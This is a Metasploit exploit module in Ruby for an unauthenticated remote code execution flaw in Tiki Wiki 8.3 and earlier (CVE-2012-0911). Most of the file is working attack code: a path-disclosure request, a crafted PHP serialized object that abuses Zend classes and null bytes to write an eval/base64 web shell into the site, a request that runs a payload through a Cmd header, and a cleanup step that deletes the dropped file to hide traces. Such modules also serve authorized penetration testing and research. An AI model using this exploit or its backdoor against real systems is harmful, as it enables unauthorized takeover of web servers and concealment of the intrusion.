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143 | ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Tiki Wiki <= 8.3 unserialize() PHP Code Execution',
'Description' => %q{
This module exploits a php unserialize() vulnerability in Tiki Wiki <= 8.3
which could be abused to allow unauthenticated users to execute arbitrary code
under the context of the webserver user.
The dangerous unserialize() exists in the 'tiki-print_multi_pages.php' script,
which is called with user controlled data from the 'printpages' parameter.
The exploit abuses the __destruct() method from the Zend_Pdf_ElementFactory_Proxy
class to write arbitrary PHP code to a file on the Tiki Wiki web directory.
In order to run successfully three conditions must be satisfied (1) display_errors
php setting must be On to disclose the filesystem path of Tiki Wiki, (2) The Tiki
Wiki Multiprint feature must be enabled to exploit the unserialize() and (3) a php
version older than 5.3.4 must be used to allow poison null bytes in filesystem related
functions. The exploit has been tested successfully on Ubuntu 9.10 and Tiki Wiki 8.3.
},
'Author' =>
[
'EgiX', # Vulnerability discovery and PoC
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2012-0911' ],
[ 'BID', '54298' ],
[ 'EDB', '19573' ],
[ 'URL', 'http://dev.tiki.org/item4109' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'DisableNops' => true,
},
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 04 2012'
))
register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the web application", "/tiki/"])
], self.class)
end
def on_new_session(client)
if client.type == "meterpreter"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
begin
client.fs.file.rm(@upload_php)
print_good("#{@peer} - #{@upload_php} removed to stay ninja")
rescue
print_error("#{@peer} - Unable to remove #{f}")
end
end
end
def exploit
base = target_uri.path
base << '/' if base[-1, 1] != '/'
@upload_php = rand_text_alpha(rand(4) + 4) + ".php"
@peer = "#{rhost}:#{rport}"
print_status("#{@peer} - Disclosing the path of the Tiki Wiki on the filesystem")
res = send_request_cgi(
'uri' => "#{base}tiki-rss_error.php"
)
if not res or res.code != 200 or not res.body =~ /[> ](\/.*)tiki-rss_error\.php/
print_error "Tiki Wiki path couldn't be disclosed. The php setting 'display_errors' must be On."
return
else
tiki_path = $1
print_good "#{@peer} - Tiki Wiki path disclosure: #{tiki_path}"
end
php_payload = "<?php eval(base64_decode($_SERVER[HTTP_CMD])); ?>"
printpages = "O:29:\"Zend_Pdf_ElementFactory_Proxy\":1:"
printpages << "{s:39:\"%00Zend_Pdf_ElementFactory_Proxy%00_factory\";O:51:\"Zend_Search_Lucene_Index_SegmentWriter_StreamWriter\":5:"
printpages << "{s:12:\"%00*%00_docCount\";i:1;s:8:\"%00*%00_name\";s:3:\"foo\";s:13:\"%00*%00_directory\";O:47:\"Zend_Search_Lucene_Storage_Directory_Filesystem\":1:"
printpages << "{s:11:\"%00*%00_dirPath\";s:#{tiki_path.length + @upload_php.length + 1}:\"#{tiki_path + @upload_php}%00\";}"
printpages << "s:10:\"%00*%00_fields\";a:1:"
printpages << "{i:0;O:34:\"Zend_Search_Lucene_Index_FieldInfo\":1:"
printpages << "{s:4:\"name\";s:#{php_payload.length}:\"#{php_payload}\";}}"
printpages << "s:9:\"%00*%00_files\";O:8:\"stdClass\":0:{}}}"
print_status("#{@peer} - Exploiting the unserialize() to upload PHP code")
res = send_request_cgi(
{
'uri' => "#{base}tiki-print_multi_pages.php",
'method' => 'POST',
'vars_post' => {
'printpages' => printpages
}
})
if not res or res.code != 200
print_error("#{@peer} - Exploit failed: #{res.code}. The Tiki Wiki Multiprint feature must be enabled.")
return
end
print_status("#{@peer} - Executing the payload #{@upload_php}")
res = send_request_cgi(
{
'method' => 'GET',
'uri' => "#{base + @upload_php}",
'headers' => {
'Cmd' => Rex::Text.encode_base64(payload.encoded)
}
})
if res
print_error("#{@peer} - Payload execution failed: #{res.code}")
return
end
end
end
|
